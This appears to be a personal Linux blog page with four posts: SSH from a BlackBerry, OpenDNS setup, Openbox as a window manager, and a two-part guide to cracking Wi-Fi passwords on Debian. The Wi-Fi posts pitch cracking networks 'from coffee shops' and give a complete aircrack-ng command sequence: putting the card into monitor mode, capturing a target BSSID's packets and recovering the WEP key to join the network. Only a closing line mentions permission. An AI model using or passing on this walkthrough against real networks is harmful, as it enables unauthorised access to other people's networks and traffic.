BlackBerry SSH: Connect to the remote Linux Server using MidpSSH on BlackBerry Curve 8520

Posted by Rakesh under Howto, Linux /GNU, Nxt, Smartphone

First time, when I installed the midpSSH client and configured it on my BlackBerry Curve 8520 and tried to connect to the remote Linux server, it was giving an error message “Writer: could not open tunnel – failed”. Later, I checked it in detail in order to replicate and resolve the problem and I found the port 22 is not opened on EDGE enabled BlackBerry smartphone with BlackBerry Internet service by Airtel (as we know that the firewall only permits access to the SSH Server via port 22). When I came to know that SSH works on GPRS enabled phone — it gave me a clue that the port 22 must be opened on GPRS enabled phone. So I asked my BlackBerry service provider – Airtel India support guys to activate the GPRS service on my phone and as it got enabled and tried to connect the remote Linux Server using midpSSH, it started working on my BlackBerry smartphone – WOW .

For Linux developer guys, it is essential that you connect to the remote Linux server from anywhere. I found having a SSH client on my BlackBerry 8520 smartphone is very convenient for a quick status check and troubleshooting.
MidpSSH is a SSH and Telnet client for mobile device [It's open source software - so you can modify it too as per your requirement.]

Here’s step-by-step guide on how to connect to a Linux server from BlackBerry 8520 phone using MidpSSH software.

1. Download MidpSSH on BlackBerry Phone

From the blackberry browser, go to http://www.xk72.com/wap and click on ‘Latest Development Release (v1.7.3)’. This will display several download options for blackberry phone. Select the BlackBerry Build OS 4.x.

* SSH1 Build * SSH2 Lite Build MIDIP 2.0 MIDIP 1.0 * SSH1 Lite Build * BlackBerry Build OS3.x OS 4.x * BlackBerry Enterprise Only build * No Obfuscation Build

When you select download, you may get a warning message — “The application does not contain a signature. It might not be from a trusted source. Do you want to proceed?”. Select ‘Yes’. This will start the download automatically as shown below.

2. Install MidpSSH on BlackBerry Phone

After download, it will automatically install the application and give you the following installation successful message. Click on ‘OK’, which will display the MidpSSH icon on the blackberry home screen as shown below.

3. Create a new SSH Client session and connect to Linux Server from your BlackBerry Phone

Create a SSH client connection by giving the ip-address of the Linux server you would like to connect to from your blackberry phone as shown in the Fig below.

* Alias – Enter the connection name. * Host – Enter the ip-address of the server. * Type: SSH, Telnet. Select SSH. * Authentication: For SSH Connection Only. Optional. Leave this empty. * Username: Enter the linux user name. * Password: Enter the linux account password. * Connection Type: Default, TCP/IP, BES, WiFi. Select Default.

For example:

Alias: Dev DB Host: 208.67.222.222 Type: SSH Authentication: Username:blackberry Password:******** Connection Type: Default

Once the session is created, select the session using the trackball, which will give the option to connect, for me SSH Client session ‘Dev DB’, you need to go to the ‘Dev DB’ client session and right click on ‘Dev DB’ and select ‘Connect’ to connect to the remote Linux server . This will prompt the message — “The application MidpSSH has attempted to access a low-level network connection. Would you like to allow this?.” Select “Yes” for this message, which will connect to the remote Linux server.

Note: As we know, the firewall only permits access to the SSH Server via port 22. If even you have Rs. 899 unlimited Airtel BlackBerry Internet service plan on your BlackBerry phone, you can’t connect to Linux Server from your BlackBerry Phone – it gives an error message “Writer: could not open tunnel – failed”. Because, by default for Airtel users with using EDGE (enabled) BlackBerry smartphone, port 22 is not opened (first, I tested it on BlackBerry Curve 8520 locked phone with Airtel).

You must need to enable GPRS service on your BlackBerry phone if you want to use SSH on your smartphone. So as the GPRS service is enabled on your phone, the SSH will work and you would be able to connect to the remote Linux server.

Happy SSH on BlackBerry Curve 8520!!

Note that the default font size on the SSH client is very small. This makes the Linux prompt really tiny and practically not readable even with a 20/20 vision. The solution is simple — increase the font size.

Later, I had also tested the midpSSH on BlackBerry 9530 Storm Touch, Blackberry 9000 Bold and BlackBerry Curve 8900 (including BlackBerry Curve 8520) with Blackberry Internet service and GPRS enabled and it worked for me on these Blackberry smartphone models.

If you will have any problems related BlackBerry SSH — just let me know by posting your comment here.

How to hack or crack Wi-Fi Password Using Debian Linux

Posted by Rakesh under FYI, Howto, Linux /GNU

Hacking Wi-Fi Password Using Debian Linux – I know a lot of you out there would love to know how to hack or crack Wi-Fi passwords from coffee shops or just about any place with managed or secured network. Today, here I will feature Linux based hacking tool which can help you crack Wi-Fi passwords be it WEP or WPA protected. I’m going to share with you some of my favorite wireless tools that can be used to hack Wi-Fi password using Debian or any other Linux distribution:

Aircrack-ng
Aircrack-ng (a fork of aircrack) is my main tool for cracking Wi-Fi passwords. It has a wireless network detector, a packet sniffer, WEP and WPA/WPA2-PSK cracker, and an analysis tool for 802.11 wireless LANs. Aircrack-ng works with any wireless card whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Kismet
Kismet is a really good network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. It will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic. Kismet works in passive mode, which means it is capable of detecting the presence of both wireless access points and wireless clients without sending any loggable packets.

SWScanner
SWScanner is specifically designed to make the whole wardriving process a lot easier. It is also intended to manage many tasks related to wireless networking. SWScanner is compatible with NetStumbler files and can be integrated with GPS devices.

These are only three of the many wireless tools that can get you going in no time, so feel free to explore.

I will give you a step-by-step instruction on how to hack or crack WiFi password using Debian.

Read for Getting started to Hack or Crack WiFi password using Debian

Cracking Wi-Fi Password with Debian Linux

Posted by Rakesh under Howto, Linux /GNU

There is a program or rather OS called backtrack which has all these programs installed. I personally use Debian as my linux OS distro. Now if you have Debian what you have to do is open a terminal (shell) and type: sudo -i, what this does is make it so all your commands run on root (enter your password for your login when it asks for it after typing sudo -i.

First i need to log in as admin (root), Then I start the network device, prism headers, and put the device into monitor mode.

1. type following commands from the command-line:

type in order to know my wireless network interface name:
iwconfig

example: eth2

2. type:
ifconfig eth2 up

3. next type:
iwpriv eth2 forceprism 1

4. next type:
iwpriv eth2 rfmontx 1

next type:
iwconfig eth2 mode monitor

5. type to install aircrack-ng tool if it is not installed:
apt-get install aircrack-ng

what this does is install the aircrack suite (includes airmon-ng, airodump-ng, aircrack-ng, aireplay-ng, airtun-ng, and not sure what else).

after that is done installing type: airmon-ng

this shows all the wireless interface cards you have connected to your computer
pick one you want to use and type : airmon-ng start *your chosen interface* –mine is eth2

Example:
airmon-ng start eth2

6. Then, type:
airodump-ng -c 6 eth2

Next we scan for the network and wait for the clients station to appear (alternatively we can use kismet tool to scan client station. To install this tool, type: apt-get install kismet (run it from commandline – it displays the detailed information about client stations)

and note down the bssid and client (station) mac address…

For example, I for following client station mac address:
bssid – 00:13:46:40:17:24
client mac – 00:11:95:D4:88:7E

7. type:
airodump-ng *your chosen interface*

this will start scanning your surroundings for a network to crack. It will include all the info like the bssid, essid, channel, how many packets, how close you are to the access point.

chose an access point that has a lot of packets coming in (and make sure it is WEP)

open a new terminal by pressing: ctrl+shift+N

8. type: airodump-ng -w *any file name you want* –bssid *the MAC address of the network your going to hack* -c *the channel of that network* *and your chosen interface*

example: airodump-ng -w passcode –bssid 00:13:46:40:17:24 -c 6 eth2

with any luck it will start collecting packets and save it in a file called passcode (or whatever you put) .cap

after it has collected at least 5000 packets open a new terminal
and type in: dir

this shows what is in the folder… you are looking for yourfilenameyouchose-01.cap
highlight and copy this by double clicking it in the terminal and right-clicking

9. next type: aircrack-ng -a 1 -b *mac address your cracking* yourfilenameyouchose-01.cap
example: aircrack-ng -a 1 -b 00:13:46:40:17:24 passcode-01.cap

hit enter and if you have enough packets it should say key found… take that key and try connecting to the access point you cracked… when it asks for the key just type that key you just got into the the text box… if you followed this it should work for you on debian….

Note that I have tested it — to hack my friend’s wifi WEP password on his permission.

Happy WiFi hacking, but be responsible and do it only for testing or if you have permission.

Add OpenDNS to your PC to Speed up Web browsing

Posted by Rakesh under FYI, Howto, Linux /GNU, Uncategorized

OpenDNS theoretically helps speed up Web browsing by using better DNS servers to resolves URLs faster than your Internet Service Provider (ISP).

To add OpenDNS (DNS Servers: 208.67.222.222, 208.67.220.220) to your PC to Speed up Web browsing, choose your computer and change your DNS (just follow as below):

Configuration for Linux (Debian/ Ubuntu/ Fedora)

1. Right-click on ‘Network Icon’ (located at top-right panel by default) and click on ‘Edit Connections’ to open Network Connections Manager.
2. Choose the type of connection you have. For this example, we will use ‘Wired’.
3. Under ‘Wired’, highlight ‘Auto etho’ and click on ‘Edit’.
4. Inside ‘Editing Auto etho’ window, click on ‘IPv4 Settings’ tab.
5. Under ‘IPv4 Settings’, change the ‘Method’ to Automatic (DHCP) addresses only.
6. Put these nameserver addresses as your ‘DNS Servers’: 208.67.222.222, 208.67.220.220
7. Click ‘OK’ and reboot your machine. You can then visit http://welcome.opendns.com to confirm you are using OpenDNS.
8. NOTE:

To avoid having your settings get revoked after reboots, or after periods of inactivity you may need to make the following changes via the command line:

$ sudo cp /etc/resolv.conf /etc/resolv.conf.auto
$ gksudo gedit /etc/dhcp3/dhclient.conf
# append the following line to the document
prepend domain-name-servers 208.67.222.222,208.67.220.220;
# save and exit
$ sudo ifdown eth0 && sudo ifup eth0

You may be required to change eth0 to your own network device’s name if it uses a non-standard name.

Configuration for Windows 7

1. Click the Start Orb, then select Control Panel.
2. Click on Network and Sharing Center.
3. Click on Local Area Connection under ‘Active Networks.’
4. Click the Properties button.
5. Highlight ‘Internet Protocol Version 4′ and click Properties.
6. Click the radio button ‘Use the following DNS server addresses:’ and type in OpenDNS’ addresses in the Preferred DNS server and Alternate DNS server fields.
7. Click OK button, then the Close button, then Close again. Finally, close the Network and Sharing Center window.

Configuration for Vista

1. Click the Start Orb, then select Control Panel.
2. Click on View network status and tasks.
3. Click on View status.
4. Click the Properties button.
5. Vista may ask for your permission to make changes. If so, click the Continue button.
6. Select Internet Protocol Version 4 (TCP/IPv4), then click the Properties button.
7. Click the radio button Use the following DNS server addresses: and type in OpenDNS addresses in the Preferred DNS server and Alternate DNS server fields.
8. Click the OK button, then the Close button, and the Close button again. Close the Network and Sharing Center window.

Configuration for XP

1. Select Control Panel from the Start menu.
2. Click Network Connections from the Control Panel choices.
3. Choose your connection from the Network Connections window.
4. Click Properties button.
5. Select Internet Protocol (TCP/IP) and click Properties.
6. Click the radio button Use the following DNS server addresses and type in OpenDNS addresses in the Preferred DNS server and Alternate DNS server fields.

Configuration for OS X Leopard

1. Go to System Preferences
2. Click on Network
3. Select the first connection in your list and click Advanced
4. Select the DNS tab and add 208.67.222.222 and 208.67.220.220 to the list of DNS servers. Click OK

Configuration for OS X Tiger

1. Select System Preferences… from the Apple menu.
2. Click Network from the Internet & Network row.
3. Click Configure… button at the bottom of the screen.
4. Type in OpenDNS addresses in the DNS Servers field, then click Apply Now.

Configuration for Wii (video game console released by Nintend)

1. Make sure your Wii is connected to the Internet.
2. Click Wii Options.
3. Click Wii Settings.
4. Click Internet.
5. Click Connection Settings.
6. Select the connection profile you are currently using.
7. Click Change settings.
8. View Auto-Obtain DNS settings.
9. Click No, then Advanced Settings.
10. Click on Primary DNS and Secondary DNS fields and type in OpenDNS addresses.
11. Click Confirm.
12. Click Save, then click OK to start the connection test.
13. Click Yes to perform a Wii system update.

Configuration for Router

Choose your router’s brand (e.g. for NETGEAR”):

1. Type the router’s setup URL (http://192.168.0.1) into a web browser address bar.
2. Enter the password.
3. Type in OpenDNS addresses in Primary DNS and Secondary DNS fields.
Please write down your current DNS settings before switching to OpenDNS, in case you want to return to your old settings for any reason.

The addresses for OpenDNS are:
* 208.67.222.222
* 208.67.220.220

Note: The Netgear WGR614 versions require a firmware upgrade in order to be compatible with OpenDNS.
4. Click Apply button.
5. Wait for the settings to be updated.

Using Openbox as window-manager on Linux

Posted by Rakesh under Howto, Linux /GNU, Technology

For many years I have used GNOME on my Debian linux laptop. For some months I have been experiencing poor ‘interactive performance’ under heavy system load with GNOME (a desktop environment). When the system is largly idle the gnome desktop feels fast and snappy, and
interaction is very immediate. However, when I start a heavy background process, CPU utilization shoots to 100% on both CPU
cores (which is good!), but my whole desktop becomes sluggish i.e. under heavy system load, the gnome desktop keeps on responsing
nicely but not as it should be.

As I need lightweight system. So, sfter some investigation I decided to try openbox, and am now using it as my default window manager on a desktop PC running Debian 5.0 (Lenny). It works well both with the gnome session manager (choose openbox from the session menu when you log in) and without the session manager (using just the ’startx’ command and a startup file in ‘~/.xinitrc’ to start up the windowmanager and a few clients). It is lightweight, very fast, very robust, and very tailorable that includes:

* Minimal overhead, which makes it ideal for lightweight systems, older hardware or speed demons;
* Few dependencies, which again is appealing to lightweight or minimal systems;
* Mouse-wheel scrolling of the desktops, for quick access to multiple workspaces;
* A customisable right-click menu and customisable keybindings written as XML files;
* Piped menus, where the output of one menu script is piped back into the Openbox menu and used in another (imagine the possibilities!);
* Plenty of themes, which are all customizable through text files;
* Multi-head Xinerama support for dual monitor output;
* And above all, SPEED.

To understand what Openbox actually is, it’s important to know the difference between a window manager and a desktop environment.

A window manager is the program which draws on your screen the “box” in which the program is run. A window manager controls how your program window works, looks and acts. It decides what window decorations to use and gives you a way to move the windows, hide them, resize them, minimize them and close them. It controls what buttons you push to do those things, and what keys you press to make those things happen.

On the other hand, a desktop environment minds the entire desktop. It provides a taskbar, a system tray, a login manager, additional menus or perhaps screensavers and desktop icons. It might include a file manager, a text editor or some other accessory programs, too.

Openbox is a window manager, not a desktop environment. Openbox is only responsible for maintaining the windows you open on your screen — nothing else. That means installing Openbox won’t give you easy menu access to wallpaper options, a taskbar or system panel, or most of those other doo-dads. It does, however, give you a framework to build incorporate other programs that do those things — and usually with a greater degree of freedom over the style and interface.

Openbox can be used alone, without a desktop environment, or it can be used to replace the window manager in a complete desktop environment. Either way is acceptable.




In brief, Metacity, while a fair default, is not the only window manager you can use with GNOME. Openbox is a lightweight, customizable window manager that works either by itself or as a drop-in replacement for Metacity. Its advantages include the ability to switch desktops with the mouse wheel, a built-in, customizable menu that allows stand-alone operation with some GNOME components in order to build a GNOME-like system on low-end gear, and (this is subjective) better looking, cleaner themes that don't depend on resource-intensive pixmaps.

Read this post for Getting started with Openbox as Window Manager.

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Tags: desktop environment gnome | openbox | window manager